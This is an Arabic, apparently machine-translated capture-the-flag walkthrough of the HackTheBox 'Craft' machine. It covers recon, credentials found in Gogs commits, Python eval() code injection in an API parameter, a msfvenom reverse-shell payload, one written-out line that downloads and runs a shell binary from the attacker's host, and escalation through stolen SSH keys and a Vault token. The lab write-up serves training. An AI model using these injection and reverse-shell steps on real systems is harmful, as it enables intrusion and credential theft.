في هذه المقالة ، سأبدأ في نشر حلول تم إرسالها
لمزيد من
المعالجة من موقع
HackTheBox . آمل أن يساعد ذلك شخصًا على الأقل على التطور في مجال أمن المعلومات. سننظر في كيفية استغلال RCE في واجهة برمجة التطبيقات ، والتصفح في مستودعات Gogs ، والعمل مع قواعد البيانات ، والتعامل مع نظام التخزين وإدارة Vault السري.
الاتصال بالمختبر عبر VPN. يوصى بعدم الاتصال من كمبيوتر يعمل أو من مضيف حيث تتوفر البيانات المهمة لك ، حيث ينتهي بك المطاف على شبكة خاصة مع أشخاص يعرفون شيئًا في مجال أمان المعلومات :)
المعلومات التنظيميةخاصةً لأولئك الذين يرغبون في تعلم شيء جديد وتطويره في أي من مجالات أمن المعلومات والحاسوب ، سأكتب وأتحدث عن الفئات التالية:
- PWN.
- التشفير (التشفير) ؛
- تقنيات الشبكات (الشبكة) ؛
- عكس (الهندسة العكسية) ؛
- إخفاء المعلومات (Stegano) ؛
- بحث واستغلال مواطن الضعف WEB.
بالإضافة إلى ذلك ، سوف أشارك تجربتي في الطب الشرعي للكمبيوتر ، وتحليل البرامج الضارة والبرامج الثابتة ، والهجمات على الشبكات اللاسلكية وشبكات المناطق المحلية ، وإجراء عمليات pentests واستغلال الكتابة.
حتى تتمكن من معرفة المقالات الجديدة والبرامج والمعلومات الأخرى ، أنشأت
قناة في Telegram ومجموعة لمناقشة أي مشاكل في مجال التصنيف الدولي للأمراض. أيضًا ، سأدرس شخصيًا طلباتك الشخصية وأسئلتك واقتراحاتك وتوصياتك
شخصيًا وسأجيب على الجميع .
يتم توفير جميع المعلومات للأغراض التعليمية فقط. لا يتحمل مؤلف هذا المستند أية مسؤولية عن أي ضرر يلحق بشخص ما نتيجة استخدام المعرفة والأساليب التي تم الحصول عليها نتيجة لدراسة هذا المستند.
استكشاف
ميناء المسح الضوئي
يحتوي هذا الجهاز على عنوان IP قدره 10.10.10.110 ، أقوم بإضافته إلى / etc / hosts.
10.10.10.110 craft.htb
بادئ ذي بدء ، نحن نقوم بفحص المنافذ المفتوحة باستخدام nmap ، وتحديد الخيار -A للحصول على أكبر قدر ممكن من المعلومات حول الخدمات المكتشفة.
nmap -A craft.htb

على الجهاز ، نرى خدمة ssh ، بالإضافة إلى خادم ويب يعمل على المنفذ 443. إذا ذهبت إلى خادم الويب ، فسيُعرض علينا النظر في واجهة برمجة التطبيقات.

عندما نحاول إلقاء نظرة على واجهة برمجة التطبيقات والبوابة الإلكترونية ، يتم إخبارنا بمواقع غير معروفة.

لذلك ، نضيف كلا أسماء النطاقات إلى / etc / hosts.
10.10.10.110 api.craft.htb
10.10.10.110 gogs.craft.htb
الآن كل الروابط مفتوحة. يُفترض أن واجهة برمجة تطبيقات Craft هي واجهة للعمل مع واجهة برمجة التطبيقات ، لذلك بالنسبة للمبتدئين ، نحتاج إلى معرفة كيفية عملها ، والتي ستساعدنا بها Gogs.

نقطة الدخول
في بوابة ، أول شيء للتحقق هو يرتكب.

بعد المرور عبر عمليات الالتزام ، في 10e3ba4f0a ، نجد بيانات المصادقة للمستخدم.

بعد تسجيل الدخول إلى gogs في المراسلات ، نجد إشارة حول الخطأ.

بالنقر على الرابط ، نكتشف كيف يتم التحقق في وظيفة eval () ، وهذا أمر خطير للغاية ، حيث يمكنك تنفيذ التعليمات البرمجية في هذه الوظيفة.

لاختبار الفرضية ، في وحدة بيثون المحلية سنقوم بعمل تمثيلي للوظيفة ، وسنحاول استدعاء وظيفة "system ()" من الوحدة النمطية "os".

تم تنفيذ الكود بنجاح! الآن تحتاج إلى كتابة استغلال حتى تتمكن من الاتصال مرة أخرى. في المرحلة الأولى ، انسخ رمز المصادقة واستلام الرمز المميز.
في هذا الرمز ، يتم تمرير الحمل الخاص بنا في المعلمة "abv" ، لذلك للتحقق من افتراض RCE ، استبدلنا السلسلة "15 .0" بـ "__import __ (" os "). النظام (" ping your_ip ")".
نفتح tcpdump ، مع الإشارة إلى الواجهة التي يجب الاستماع إليها وتصفية معلمات حزم ICMP فقط وإطلاق الاستغلال.


نلاحظ أننا تمكنا من اختبار اتصالنا من مضيف بعيد. الآن نحن رمي العودة الاتصال. يمكن القيام بذلك من خلال nc ، ولكن دعنا نحصل على قذيفة متر. للقيام بذلك ، قم بإنشاء حمل باستخدام msfvenom. نحدد التحميل نفسه (revers_tcp) والمضيف المحلي والمنفذ (LHOST ، LPORT) ، ويكون تنسيق الملف قزمًا.

في نفس الوقت نقوم بتشغيل خادم الويب المحلي. الآن تكوين المستمع في msfconsole. للقيام بذلك ، قم بتعيين المعلمات ، كما هو الحال في الحمل.

نستمع إلى الاتصالات الواردة ، والآن نحن بحاجة إلى تحميل الحمل على المضيف وبدء تشغيله.
brew_dict['abv'] = 'wget http://10.10.14.199/shell.bin ; chmod +x shell.bin ; ./shell.bin'
في نافذة metasplit ، نرى اتصالًا واردًا.

USER
دعونا إطلاق قذيفة ومعرفة من نعمل تحت.

وفقًا لاستنتاج المحطة ، يمكننا أن نفترض أننا داخل حاوية الرصيف. نلقي نظرة على المضيف.

يوجد ملف قابل للتنفيذ dbtest.py. يجب عليك مشاهدته.

البرنامج يتصل بقاعدة البيانات وينفذ الأمر مع الإخراج اللاحق. دعونا ننظر في جميع أنحاء قاعدة البيانات. للقيام بذلك ، أطلقت وحدة التحكم بيثون التفاعلية على المضيف ونسخ كل التعليمات البرمجية فيه قبل تنفيذ الأمر.

الآن سوف نطلب الجداول.

نتيجة لذلك ، عدنا 2 السجلات. نظرًا لأن cursor.fetchone () يُخرج إدخالًا واحدًا ، فسنقوم بإخراج اثنين من هذه المخرجات.

لذلك حصلنا على 2 الجداول. أكثر إثارة للاهتمام هو المستخدم. نعرض جميع البيانات من هذا الجدول.

وهناك 3 مداخل في ذلك.

ونحن نحصل على اعتمادات المستخدم. بعد أن جربتهم على ssh وفشلنا نحاول الدخول في بوابة. واتضح لتسجيل الدخول باسم gilfoyle. ولديه مستودع مغلق.


دليل .ssh مثير جدا للاهتمام. هناك مفتاحان ، ونلتقط المفتاح الخاص.

نحن نحاول الاتصال عبر ssh باستخدام هذا المفتاح.

ROOT
أول شيء يجب إلقاء نظرة عليه في دليل المستخدم.

نجد رمزا من قبو.

بعد التعامل مع
قبو ، أقول إنه نظام تخزين وإدارة للأسرار التي تحتوي على بيانات بتنسيق المفتاح / القيمة ، يتم الوصول إليها عن طريق رمز مميز. تحقق من إعداد التخزين.

دعنا
نلقي نظرة على قائمة الأسرار .

وبالتالي ، نرى أن
الوصول إلى ssh قد تم تكوينه .

الآن نقوم بإدخال كلمة المرور لمرة واحدة المعطاة لنا ونحن في النظام كجذر.

يمكنك الانضمام إلينا على
Telegram . فلنجمع مجتمعًا سيكون فيه أشخاص على دراية بالعديد من مجالات تكنولوجيا المعلومات ، ثم يمكننا دائمًا مساعدة بعضنا البعض في أي من مشكلات تكنولوجيا المعلومات وأمن المعلومات.